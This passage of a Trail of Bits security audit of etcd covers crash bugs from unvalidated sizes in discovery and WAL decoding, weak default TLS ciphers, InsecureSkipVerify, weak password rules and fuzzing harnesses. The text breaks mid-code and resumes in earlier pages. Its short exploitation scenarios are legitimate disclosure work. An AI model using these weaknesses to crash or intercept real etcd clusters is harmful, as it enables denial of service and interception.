\n/.../embed/etcd.go:211 +0x1175\n \ngo.etcd.io/etcd/etcdmain.startEtcd(0xc0001a5080, 0x0, 0x0, 0x0, 0x0)\n \n/.../etcdmain/etcd.go:302 +0x7a\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 35\n \n go.etcd.io/etcd/etcdmain.startEtcdOrProxyV2()\n \n/.../etcdmain/etcd.go:160 +0x3411\n \ngo.etcd.io/etcd/etcdmain.Main()\n \n/.../etcdmain/main.go:46 +0x43b\n \nmain.main()\n \n/.../main.go:28 +0x20\n \nFigure TOB-ETCD-014.2: The traceback for the out-of-bounds index \npanic\n\n.\n \n \nfunc\n\n \n\n(\n\nd\n\n *\n\ndiscovery\n\n) waitNodes\n\n(\n\nnodes\n\n []*\n\nclient\n\n.\n\nNode\n\n, \n\nsize\n\n \n\nint\n\n, \n\nindex\n\n \n\nuint64\n\n) ([]*\n\nclient\n\n.\n\nNode\n\n,\n \nerror\n\n) {\n \nif\n\n \n\nlen\n\n(nodes) > size {\n \nnodes = nodes[:size]\n \n}\n \nFigure TOB-ETCD-014.3: The negative \nsize\n\n is used to index this array, resulting in an index\n \nout-of-bounds \npanic\n\n (\netcdserver/api/v2discovery/discovery.go#L339-L342\n\n)\n.\n \n \nExploitation Scenario\n \nAn attacker identifies an etcd cluster and discovery URL used for service discovery, then\n \nsubstitutes the size value used to bootstrap with a \n-1\n\n. As a result, all instances attempting\n \nto discover other instances with that URL panic.\n \n \nRecommendation\n \nShort term, ensure proper validation for all values retrieved and parsed from outside\n \nsources. This will help reduce the effect of a third-party system compromise on the\n \nintegrity of etcd.\n \n \nLong term, consider consolidating validation routines into a specific set of helper libraries\n \nused across the codebase. Avoid using \nstrconv.Atoi\n\n without validating the parsed value.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 36\n \n 1 5 . I n s e c u r e c i p h e r s a r e a l l o w e d b y d e f a u l t\n \nSeverity: Low\nDifficulty: Undetermined\n \nType: Cryptography\nFinding ID: TOB-ETCD-015\n \nTarget: \npkg/tlsutil/cipher_suites.go\n \n \nDescription\n \nThe TLS ciphers list supported by etcd contains weak ciphers. This list, as the comment in\n \nFigure TOB-ETCD-015.1 notes, was taken from Go cipher suites which \ndisables some of the\n \nciphers by default\n (marked with the \nsuiteDefaultOff\n\n flag) but those ciphers are not\n \ndisabled by etcd. This allows for insecure connections to etcd by default, exposing its users\n \nto risk.\n \n \nThis issue has been reported to etcd as \nissue 10304\n.\n \n \n// cipher suites implemented by Go\n \n \n// https://github.com/golang/go/blob/dev.boringcrypto.go1.10/src/crypto/tls/cipher_suites.go\n \n \nvar\n\n cipherSuites = \n\nmap\n\n[\n\nstring\n\n]\n\nuint16\n\n{\n \n \n \n\n\"TLS_RSA_WITH_RC4_128_SHA\"\n\n: tls.TLS_RSA_WITH_RC4_128_SHA,\n \n \n \n\n\"TLS_RSA_WITH_3DES_EDE_CBC_SHA\"\n\n: tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA,\n \n \n \n\n\"TLS_RSA_WITH_AES_128_CBC_SHA\"\n\n: tls.TLS_RSA_WITH_AES_128_CBC_SHA,\n \n \n \n\n\"TLS_RSA_WITH_AES_256_CBC_SHA\"\n\n: tls.TLS_RSA_WITH_AES_256_CBC_SHA,\n \n \n \n\n\"TLS_RSA_WITH_AES_128_CBC_SHA256\"\n\n: tls.TLS_RSA_WITH_AES_128_CBC_SHA256,\n \n \n \n\n\"TLS_RSA_WITH_AES_128_GCM_SHA256\"\n\n: tls.TLS_RSA_WITH_AES_128_GCM_SHA256,\n \n \n \n\n\"TLS_RSA_WITH_AES_256_GCM_SHA384\"\n\n: tls.TLS_RSA_WITH_AES_256_GCM_SHA384,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_RC4_128_SHA\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_RC4_128_SHA\"\n\n: tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\"\n\n: tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\"\n\n: tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\"\n\n: tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\"\n\n: tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\"\n\n: tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\"\n\n: tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,\n \n \n \n\n\"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305\"\n\n: tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,\n \n \n \n\n\"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305\"\n\n: tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,\n \n \n }\n \nFigure TOB-ETCD-015.1: Ciphers supported by etcd\n \n(\npkg/tlsutil/cipher_suites.go#L19-L44\n\n).\n \n \nRecommendation\n \nShort term, disable weak ciphers and require a special flag to enable them. By default, only\n \nenable the modern ciphers as recommended by the \nMozilla Security/Server side document\n.\n \n \n \nLong term, determine the most popular ciphers used by etcd clients and consider removing\n \nweak ciphers from support. This will help prevent clients from accidentally configuring an\n \ninsecure cipher when using etcd.\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 37\n \n 1 6 . e t c d i s i n s e c u r e b y d e f a u l t\n \nSeverity: Informational\nDifficulty: Undetermined\n \nType: Cryptography\nFinding ID: TOB-ETCD-016\n \nTarget: \netcd configuration\n \n \nDescription\n \nWhen etcd is started without a specific configuration, it:\n \n \n●\nServes traffic from unencrypted endpoint (\nhttp://127.0.0.1:2379/\n),\n \n●\nUses simple tokens instead of cryptographically signed ones,\n \n●\nAllows for unauthenticated client access, and\n \n●\nDoesn’t use TLS for peer-to-peer connections.\n \n \nAlthough logs are produced when starting etcd under the first two conditions (Figure\n \nTOB-ETCD-016.1), an inexperienced user might gain a false notion of the security of etcd\n \ndefaults and become prone to further configuring etcd insecurely.\n \n \nauth: simple token is not cryptographically signed\n \nembed: serving insecure client requests on 127.0.0.1:2379, this is strongly discouraged!\n \nFigure TOB-ETCD-016.1: Warnings present when launching etcd with no configuration flags.\n \n \nThis issue has been reported to etcd as \nissue 9475\n.\n \n \nRecommendation\n \nShort term, deprecate the insecure defaults and promote more secure usage of etcd. For\n \nexample, list all insecure options at once during startup: describe the problems, suggest\n \nfixes, and link to a documentation page that would show how to set up etcd securely.\n \n \nLong term, make etcd secure by default, by requiring a minimally secure launch\n \nconfiguration. To ease development, testing, and debugging, consider providing a simpler\n \nbut less secure configuration under \n--insecure\n\n.\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 38\n \n 1 7 . U s e o f T L S I n s e c u r e S k i p V e r i f y\n \nSeverity: Informational\nDifficulty: Undetermined\n \nType: Cryptography\nFinding ID: TOB-ETCD-017\n \nTarget: \nTLS Configuration\n \n \nDescription\n \nTransport Layer Security (TLS) appears in multiple locations throughout the etcd codebase,\n \nsometimes including \nInsecureSkipVerify\n\n to disable certificate checks. The lack of\n \nauthentication in some configurations presents opportunities for Monkey-In-The-Middle\n \ninterference.\n \n \n// If the user wants to skip TLS verification then we should set\n \n// the InsecureSkipVerify flag in tls configuration.\n \nif\n\n scfg.insecureSkipVerify && cfg.TLS != \n\nnil\n\n {\n \n cfg.TLS.InsecureSkipVerify = \n\ntrue\n \n}\n \nFigure TOB-ETCD-017.1: Use of \nInsecureSkipVerify\n \n(\netcdctl/ctlv3/command/global.go#L234-L238\n\n).\n \n \n \nExploitation Scenario\n \nTLSInsecureSkipVerify\n\n is enabled, allowing an attacker to perform Monkey-In-The-Middle\n \noperations without the complications of TLS verification.\n \n \nRecommendation\n \nShort term, review configurations that use \nInsecureSkipVerify\n\n. Use insecure TLS\n \nselectively and with caution. There are few purposes for which unverified certificates\n \nshould be supported.\n \n \nLong term, avoid use of insecure TLS configurations altogether. Verify certificates in all\n \nscenarios by default.\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 39\n \n A . V u l n e r a b i l i t y C l a s s i f i c a t i o n s\n \nVulnerability Classes\n \nClass\n \nDescription\n \nAccess Controls\n \nRelated to authorization of users and assessment of rights\n \nAuditing and Logging\n \nRelated to auditing of actions or logging of problems\n \nAuthentication\n \nRelated to the identification of users\n \nConfiguration\n \nRelated to security configurations of servers, devices or software\n \nCryptography\n \nRelated to protecting the privacy or integrity of data\n \nData Exposure\n \nRelated to unintended exposure of sensitive information\n \nData Validation\n \nRelated to improper reliance on the structure or values of data\n \nDenial of Service\n \nRelated to causing system failure\n \nError Reporting\n \nRelated to the reporting of error conditions in a secure fashion\n \nPatching\n \nRelated to keeping software up to date\n \nSession Management\n \nRelated to the identification of authenticated users\n \nTiming\n \nRelated to race conditions, locking or order of operations\n \nUndefined Behavior\n \nRelated to undefined behavior triggered by the program\n \n \n \nSeverity Categories\n \nSeverity\n \nDescription\n \nInformational\n \nThe issue does not pose an immediate risk, but is relevant to security\n \nbest practices or Defense in Depth\n \nUndetermined\n \nThe extent of the risk was not determined during this engagement\n \nLow\n \nThe risk is relatively small or is not a risk the customer has indicated is\n \nimportant\n \nMedium\n \nIndividual user’s information is at risk, exploitation would be bad for\n \nclient’s reputation, moderate financial impact, possible legal\n \nimplications for client\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 40\n \n High\n \nLarge numbers of users, very bad for client’s reputation, or serious\n \nlegal or financial implications\n \n \nDifficulty Levels\n \nDifficulty\n \nDescription\n \nUndetermined\n \nThe difficulty of exploit was not determined during this engagement\n \nLow\n \nCommonly exploited, public tools exist or can be scripted that exploit\n \nthis flaw\n \nMedium\n \nAttackers must write an exploit, or need an in-depth knowledge of a\n \ncomplex system\n \nHigh\n \nThe attacker must have privileged insider access to the system, may\n \nneed to know extremely complex technical details or must discover\n \nother weaknesses in order to exploit this issue\n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 41\n \n B . C o d e Q u a l i t y R e c o m m e n d a t i o n s\n \nThis appendix details etcd issues that could be improved, but do not impact the project’s\n \nsecurity posture. These recommendations are proposed to prevent future errors from\n \noccurring, and to improve the quality of future code contributions.\n \n \netcdctl/ctlv2/command/exec_watch_command.go#L81-L94\n \nThe \nafter-index\n\n configuration variable is fetched as an integer and is then casted to\n \nuint64\n\n. We recommend fetching it as \nUint64\n\n.\n \n \nindex = c.\n\nInt\n\n(\n\n\"after-index\"\n\n)\n \n// (...)\n \nw \n\n:=\n\n ki.\n\nWatcher\n\n(key, &client.WatcherOptions{AfterIndex: \n\nuint64\n\n(index), \n\nRecursive\n\n:\n \nrecursive})\n \n \nclientv3/balancer/connectivity/connectivity.go#L71-L72\n \nThe \nupdateVal\n\n in the loop shown below will have a value of \nmath.MaxUint64\n\n in its first\n \niteration due to the \n2*uint64(0) - 1\n\n calculation (which is \n18446744073709551615\n\n). While\n \nthis is not a bug, we recommend changing the code so it won’t overflow, making it less\n \nconfusing for readers.\n \n \nfor\n\n idx, state \n\n:=\n\n \n\nrange\n\n []connectivity.State{oldState, newState} {\n \n \n \nupdateVal \n\n:=\n\n \n\n2\n\n*\n\nuint64\n\n(idx) - \n\n1\n\n \n\n// -1 for oldState and +1 for new.\n \n \nauth/simple_token.go#L223-L229\n \nThere are places in the codebase where a result of \nstrconv.Atoi\n\n integer parsing is casted\n \nto \nuint64\n\n. One of the examples is \nauth/simple_token.go#L218-L235\n\n shown below. Those\n \ncases should use \nstrconv.ParseUint\n\n instead to prevent accepting negative integers as\n \nvalid inputs.\n \n \n \nindex, err \n\n:=\n\n strconv.\n\nAtoi\n\n(splitted[\n\n1\n\n])\n \n \nif\n\n err != \n\nnil\n\n {\n \n \n \nreturn\n\n \n\nfalse\n \n \n}\n \n \n \n \nselect\n\n {\n \n \ncase\n\n \n\n<-\n\nt.\n\nindexWaiter\n\n(\n\nuint64\n\n(index)):\n \n \netcdserver/api/rafthttp/http.go#L221-L222\n \nThe RAFT's \nsnapshotHandler\n\n's \nServeHTTP\n\n function sets a very large \ndecodeLimit\n\n by using a\n \nuint64(1 << 63)\n\n expression. We recommend using either 1) a proper limit, or 2) the\n \nmath.MaxUint64\n\n constant (if the purpose is to set no limit).\n \n \n// let snapshots be very large since they can exceed 512MB for large installations\n \n \n m, err \n\n:=\n\n dec.\n\ndecodeLimit\n\n(\n\nuint64\n\n(\n\n1\n\n << \n\n63\n\n))\n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 42\n \n embed/config.go#L136-L140\n and \nembed/config.go#L594-L599\n \nThe \ncfg.TickMs\n\n and \ncfg.ElectionMs\n\n are of unsigned integer types, but they are checked\n \nfor being less than zero. The comparisons below should be changed to check only for their\n \nvalue being “equal to zero.”\n \n \n// TickMs is the number of milliseconds between heartbeat ticks.\n \n \n// TODO: decouple tickMs and heartbeat tick (current heartbeat tick = 1).\n \n \n// make ticks a cluster wide configuration.\n \n \nTickMs\n\n \n\nuint\n\n \n\n`json:\"heartbeat-interval\"`\n \n \nElectionMs\n\n \n\nuint\n\n \n\n`json:\"election-timeout\"`\n \n \n \n// Below are lines 594-599\n \nif\n\n cfg.TickMs <= \n\n0\n\n {\n \n \n \nreturn\n\n fmt.\n\nErrorf\n\n(\n\n\"--heartbeat-interval must be >0 (set to \n\n%d\n\nms)\"\n\n, cfg.TickMs)\n \n \n }\n \n \nif\n\n cfg.ElectionMs <= \n\n0\n\n {\n \n \n \nreturn\n\n fmt.\n\nErrorf\n\n(\n\n\"--election-timeout must be >0 (set to \n\n%d\n\nms)\"\n\n, cfg.ElectionMs)\n \n \n}\n \n \n \n \n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 43\n \n C . F u z z i n g r e s u l t s\n \nTrail of Bits performed fuzz testing of the etcd WAL package using both \ngoogle/gofuzz\n\n and\n \ndvyukov/go-fuzz\n\n. Several potential issues were identified in the etcd WAL package,\n \nranging from a decoder panic (\nTOB\n-\nETCD-007\n) to a null pointer exception in a WAL struct\n \n(\nTOB-ETCD-013\n).\n \n \ne t c d w a l p a c k a g e\n \n \nTo test the WAL package, a corpus of valid WAL files were randomly generated with a script\n \nthat uses \ngoogle/gofuzz\n\n \n(\n\nsee Figure C.3). This corpus was then used with\n \ndvyukov/go-fuzz\n\n to perform instrumented coverage-guided fuzzing. The results show the\n \npresence of potential edge-cases when the WAL decoder utilizes the size information it\n \nparses (\nTOB-ETCD-007\n) and a null pointer exception (\nTOB-ETCD-013\n).\n \n \nfunc\n\n \n\nCovFuzz\n\n(\n\ndata\n\n []\n\nbyte\n\n) \n\nint\n\n{\n \n err \n\n:=\n\n ioutil.\n\nWriteFile\n\n(testPath, data, \n\n0777\n\n)\n \n \n\ndefer\n\n os.\n\nRemove\n\n(testPath)\n \n \n\nif\n\n err != \n\nnil\n\n {\n \n plog.\n\nErrorf\n\n(\n\n\"could not write test file because: \n\n%v\n\n\"\n\n, err)\n \n \n\nreturn\n\n \n\n0\n \n }\n \n \n \n\nvar\n\n err \n\nerror\n \n \n\nvar\n\n w *WAL\n \n \n\nif\n\n w, err = \n\nOpen\n\n(zap.\n\nNewExample\n\n(), kPathToCrash , walpb.Snapshot{}); err != \n\nnil\n\n {\n \n plog.\n\nError\n\n(err)\n \n \n\nreturn\n\n \n\n0\n \n }\n \n metadata, _, _, err \n\n:=\n\n w.\n\nReadAll\n\n()\n \n \n\nif\n\n err != \n\nnil\n\n {\n \n plog.\n\nFatalf\n\n(\n\n\"could not read file meta data and collect entries\"\n\n)\n \n \n\nreturn\n\n \n\n1\n \n }\n \n \n\nif\n\n !bytes.\n\nEqual\n\n(metadata, []\n\nbyte\n\n(metadataStr)) {\n \n plog.\n\nFatalf\n\n(\n\n\"metadata = \n\n%s\n\n, want \n\n%s\n\n\"\n\n, metadata, metadataStr)\n \n \n\nreturn\n\n \n\n1\n \n }\n \n \n\nreturn\n\n \n\n0\n \n}\n \nFigure C.1: Fuzzing test harness used with auto-generated corpus. The fuzzing was performed\n \nwith a single worker because the harness writes to and deletes a file.\n \n \nFurthermore, many unit tests were translated to fuzz tests with \ngoogle/gofuzz\n\n to provide\n \nan adequate amount of API coverage. The result of translating unit-tests produced a\n \nruntime panic in the \nwal.ReadAll\n\n function, detailed in \nTOB-ETCD-006\n. During fuzzing, the\n \ncomplex structure of snapshots, records, hardstates, and entries were taken into account.\n \n \nfunc\n\n \n\nFuzzWriteRecord\n\n() {\n \n \n© 2020 Trail of Bits\n \n Linux Foundation Etcd Assessment | 44\n \n b \n\n:=\n\n &walpb.Record{}\n \n encd \n\n:=\n\n walpb.Record{}\n \n buf \n\n:=\n\n \n\nnew\n\n(bytes.Buffer)\n \n e \n\n:=\n\n \n\nnewEncoder\n\n(buf, \n\n0\n\n, \n\n0\n\n)\n \n complexfuzzer.\n\nFuzz\n\n(&encd)\n \n e.\n\nencode\n\n(&encd)\n \n e.\n\nflush\n\n()\n \n decoder \n\n:=\n\n \n\nnewDecoder\n\n(ioutil.\n\nNopCloser\n\n(buf))\n \n err \n\n:=\n\n decoder.\n\ndecode\n\n(b)\n \n \n\nif\n\n err != \n\nnil\n\n {\n \n plog.\n\nErrorf\n\n(\n\n\"err = \n\n%v\n\n, want nil\"\n\n, err)\n \n }\n \n \n\nif\n\n b.Type != encd.Type {\n \n plog.\n\nErrorf\n\n(\n\n\"type = \n\n%d\n\n, want \n\n%d\n\n\"\n\n, b.Type, encd.Type)\n \n }\n \n \n\nif\n\n !reflect.\n\nDeepEqual\n\n(b.Data, encd.Data) {\n \n plog.\n\nErrorf\n\n(\n\n\"data = \n\n%v\n\n, want \n\n%v\n\n\"\n\n, b.Data, encd.Data)\n \n }\n \n}\n \nFigure C.2: Example of unit-test converted to fuzz test. \nTestWriteRecord\n\n is converted to\n \nFuzzWriteRecord\n\n.\n \n \nFuzzing triggered panics in the \nMustUnmarshal\n\n function in both fuzzing approaches, but\n \nthis was not reported as a finding because it is intended behavior.\n \n \nfunc\n\n \n\nGenEntries\n\n(\n\nw\n\n *\n\nWAL\n\n, \n\nsize\n\n \n\nint\n\n) {\n \n state \n\n:=\n\n raftpb.HardState{}\n \n \n\nif\n\n size < \n\n0\n\n {\n \n size *= -\n\n1\n \n }\n \n plog.\n\nInfo\n\n(size)\n \n entries \n\n:=\n\n \n\nmake\n\n([]raftpb.Entry, size)\n \n \n\nfor\n\n i\n\n:=\n\n0\n\n; i w.start.Index {\\n \\nents = \\n\\nappend\\n\\n(ents[:e.Index-w.start.Index-\\n\\n1\\n\\n], e)\\n \\n}\\n \\nw.enti = e.Index\\n \\nFigure TOB-ETCD-006.1: A snippet of the \\nReadAll\\n\\n function in the \\nentryType\\n\\n case, where the\\n \\nents\\n\\n slice is indexed with a large integer, leading to a panic (\\nwal/wal.go#L423-L438\\n\\n).\\n \\n \\nA WAL entry that caused the following runtime panic was produced. Notice how the\\n \\ne.index\\n\\n and \\nw.start.Index\\n\\n satisfy the “greater than” check. However, when\\n \\n13038096702221461993 - 0 - 1\\n\\n evaluates to an upper bound of \\n13038096702221461992,\\n \\nthe slice fails on the premise of being too large.\\n \\n \\n2020-01-28 16:55:53.987278 I | wal: test10\\n \\n2020-01-28 16:55:54.032191 I | wal: e.Index: 13038096702221461993\\n \\n2020-01-28 16:55:54.032248 I | wal: w.start.Index: 0\\n \\npanic: runtime error: slice bounds out of range [:13038096702221461992] with capacity 0\\n \\ngoroutine 1 [running]:\\n \\ngo.etcd.io/etcd/wal.(*WAL).ReadAll(0xc0000de2a0, 0xc0000ae688, 0x4, 0x8, 0x0, 0x0, 0x0, 0x0,\\n \\n0x0, 0x0, ...)\\n \\n/.../go.etcd.io/etcd/wal/wal.go:439 +0x1121\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 22\\n \\n go.etcd.io/etcd/wal.FuzzRecover()\\n \\n/.../go.etcd.i/etcd/wal/wal_fuzzer.go:592 +0x77e\\n \\ngo.etcd.io/etcd/wal.FuzzStep()\\n \\n/.../go.etcd.io/etcd/wal/wal_fuzzer.go:1067 +0x48d\\n \\ngo.etcd.io/etcd/wal.FuzzWal()\\n \\n/.../go.etcd.io/etcd/wal/wal_fuzzer.go:1090 +0x8b\\n \\nmain.main()\\n \\n/.../go.etcd.io/etcd/fuzz.go:10 +0x20\\n \\nFigure TOB-ETCD-006.2: Trace of the triggered panic.\\n \\n \\nExploit Scenario\\n \\nA RAFT participant receives a corrupted WAL from a compromised leader after an election.\\n \\nThe participant subsequently \\npanic\\n\\ns when the metadata is being parsed, which causes the\\n \\nparticipant to crash. A participant could also \\npanic\\n\\n on reading RAFT state from a WAL with\\n \\nthis error.\\n \\n \\nRecommendation\\n \\nShort term, ensure proper size checks on the final \\ne.Index-w.start.Index-1\\n\\n in each WAL\\n \\nentry, and gracefully error if the size is too large for the given slice. This will prevent a hard\\n \\ncrash if an invalid WAL entry is encountered.\\n \\n \\nLong term, restructure WALs to be limited by entry index \\nand\\n size instead of size alone. This\\n \\nwill help prevent mutated entries from inducing a panic when parsing the WAL.\\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 23\\n \\n 7 . A l a r g e s l i c e c a u s e s p a n i c i n d e c o d e R e c o r d m e t h o d\\n \\nSeverity: Medium\\nDifficulty: High\\n \\nType: Data Validation\\nFinding ID: TOB-ETCD-007\\n \\nTarget: \\nwal/decoder.go\\n \\n \\nDescription\\n \\nThe size of a record is stored in the length field of a WAL file, and no additional validation is\\n \\ndone on this data. Therefore, it is possible to forge an extremely large frame size—so large,\\n \\nin fact, that the \\ndata := make([]byte, recBytes+padBytes)\\n\\n can unintentionally panic at\\n \\nthe expense of any RAFT participant trying to decode the WAL.\\n \\n \\nfunc\\n\\n \\n\\n(\\n\\nd\\n\\n *\\n\\ndecoder\\n\\n) decodeRecord\\n\\n(\\n\\nrec\\n\\n *\\n\\nwalpb\\n\\n.\\n\\nRecord\\n\\n) \\n\\nerror\\n\\n {\\n \\nif\\n\\n \\n\\nlen\\n\\n(d.brs) == \\n\\n0\\n\\n {\\n \\nreturn\\n\\n io.EOF\\n \\n}\\n \\n \\nl, err \\n\\n:=\\n\\n \\n\\nreadInt64\\n\\n(d.brs[\\n\\n0\\n\\n])\\n \\nif\\n\\n err == io.EOF || (err == \\n\\nnil\\n\\n && l == \\n\\n0\\n\\n) {\\n \\n// hit end of file or preallocated space\\n \\nd.brs = d.brs[\\n\\n1\\n\\n:]\\n \\nif\\n\\n \\n\\nlen\\n\\n(d.brs) == \\n\\n0\\n\\n {\\n \\nreturn\\n\\n io.EOF\\n \\n}\\n \\nd.lastValidOff = \\n\\n0\\n \\nreturn\\n\\n d.\\n\\ndecodeRecord\\n\\n(rec)\\n \\n}\\n \\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\nreturn\\n\\n err\\n \\n}\\n \\n \\nrecBytes, padBytes \\n\\n:=\\n\\n \\n\\ndecodeFrameSize\\n\\n(l)\\n \\n \\ndata \\n\\n:=\\n\\n \\n\\nmake\\n\\n([]\\n\\nbyte\\n\\n, recBytes+padBytes)\\n \\nFigure TOB-ETCD-007.1: A snippet of the \\ndecodeRecord\\n\\n \\nmethod with vulnerable \\nmake\\n\\n call\\n \\n \\n(\\nwal/decoder.go#L62-L83\\n\\n).\\n \\n \\nA WAL file that was generated during fuzzing produced the following panic. Notice the\\n \\nruntime error that was caused by attempting to create a \\n[]byt\\n\\ne slice the size of \\nrecBytes\\n \\n+ padBytes\\n\\n after decoding the frame size from the length data.\\n \\n \\npanic: runtime error: makeslice: len out of range\\n \\n \\ngoroutine 1 [running]:\\n \\n \\ngo.etcd.io/etcd/wal.(*decoder).decodeRecord(0xc00006a040, 0xc000103d18,\\n \\n0xc000103c30, 0x41a2a7)\\n \\n/.../go.etcd.io/etcd/wal/decoder.go:83 +0x21e\\n \\n \\ngo.etcd.io/etcd/wal.(*decoder).decode(0xc00006a040, 0xc000103d18, 0x0, 0x0)\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 24\\n \\n /.../go.etcd.io/etcd/wal/decoder.go:59 +0xa7\\n \\n \\ngo.etcd.io/etcd/wal.(*WAL).ReadAll(0xc000154000, 0x0, 0x0, 0x0, 0x0, 0x0,\\n \\n0x0, 0x0, 0x0, 0x0, ...)\\n \\n/.../go.etcd.io/etcd/wal/wal.go:431 +0x14b\\n \\n \\ngo.etcd.io/etcd/wal.CovFuzz(0x0, 0x0, 0x0, 0x1)\\n \\n/.../go.etcd.io/etcd/wal/wal_covfuzzer.go:31 +0x171\\n \\nmain.main()\\n \\n /.../go.etcd.io/etcd/fuzz.go:31 +0xd6\\n \\nProcess finished with exit code 2\\n \\nFigure TOB-ETCD-007.2: Trace of the panic being triggered.\\n \\n \\n \\nExploit Scenario\\n \\nThe exact same exploit scenario from \\nTOB-ETCD-006\\n can be applied to this vulnerability.\\n \\nHowever, in this case, any method trying to decode WAL data is vulnerable to this \\npanic\\n\\n.\\n \\nThe issue could arise from a malicious leader forging the size in their own WAL record.\\n \\n \\nRecommendation\\n \\nShort term, provide a size check on the \\ndecodeRecord\\n\\n method and gracefully exit if the\\n \\nframe size is larger than the maximum slice length. This will prevent crashing due to\\n \\nout-of-bounds indexing of the allocated array if the WAL entry has been mutated.\\n \\n \\nLong term, consider building a method to identify expected ranges for valid values into the\\n \\nformat for the WAL. This will assist additional validations of the WAL file, allowing the\\n \\ndetection of corruption or manipulation.\\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 25\\n \\n 8 . N o m i n i m u m p a s s w o r d l e n g t h\\n \\nSeverity: Medium\\nDifficulty: Low\\n \\nType: Access Control\\nFinding ID: TOB-ETCD-008\\n \\nTarget: \\nauth/store.go\\n\\n, \\nUserAdd\\n\\n function\\n \\n \\nDescription\\n \\netcd does not perform any password length validation, which allows for very short\\n \\npasswords, such as those with a length of one. This may allow an attacker to guess or\\n \\nbrute-force users’ passwords with little computational effort.\\n \\n \\nExploit Scenario\\n \\nAlice sets her etcd user password to four characters. Eve, who can connect to the etcd\\n \\ncluster, brute-forces Alice’s password and successfully authenticates.\\n \\n \\nRecommendation\\n \\nShort term, consider improving the password requirements to a higher minimum character\\n \\namount. This will make it harder for an attacker to brute-force authentication of an etcd\\n \\nuser.\\n \\n \\nLong term, consider adopting a specific standard for password requirements, such as NIST\\n \\nSP 800-204, and enforce it across the codebase.\\n \\n \\n \\nReferences\\n \\n●\\nNIST SP 800-204\\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 26\\n \\n 9 . I n a c c u r a t e l o g g i n g o f a u t h e n t i c a t i o n a t t e m p t s f o r u s e r s w i t h C N - b a s e d\\n \\na u t h o n l y\\n \\nSeverity: Low\\nDifficulty: Undetermined\\n \\nType: Logging\\nFinding ID: TOB-ETCD-009\\n \\nTarget: \\netcdserver/v3_server.go\\n \\n \\nDescription\\n \\netcd users who have no password can authenticate only through a client certificate. When\\n \\nsuch users try to authenticate into etcd using the \\nAuthenticate\\n\\n endpoint (Figure\\n \\nTOB-ETCD-009.2), the errors in Figure TOB-ETCD-009.1 are logged.\\n \\n \\n2020-02-01 17:35:04.368034 E | etcdserver: invalid authentication request to user root was\\n \\nissued\\n \\n2020-02-01 17:38:09.967097 N | auth: authentication failed, invalid password for user root\\n \\nFigure TOB-ETCD-009.1: Errors logged when trying to authenticate as a user with no password.\\n \\n \\nThese logs provide insufficient information regarding why the authentication failed, and\\n \\nmay be misleading when auditing etcd logs.\\n \\n \\nfunc\\n\\n \\n\\n(\\n\\ns\\n\\n *\\n\\nEtcdServer\\n\\n) Authenticate\\n\\n(\\n\\nctx\\n\\n \\n\\ncontext\\n\\n.\\n\\nContext\\n\\n, \\n\\nr\\n\\n *\\n\\npb\\n\\n.\\n\\nAuthenticateRequest\\n\\n)\\n \\n(*\\n\\npb\\n\\n.\\n\\nAuthenticateResponse\\n\\n, 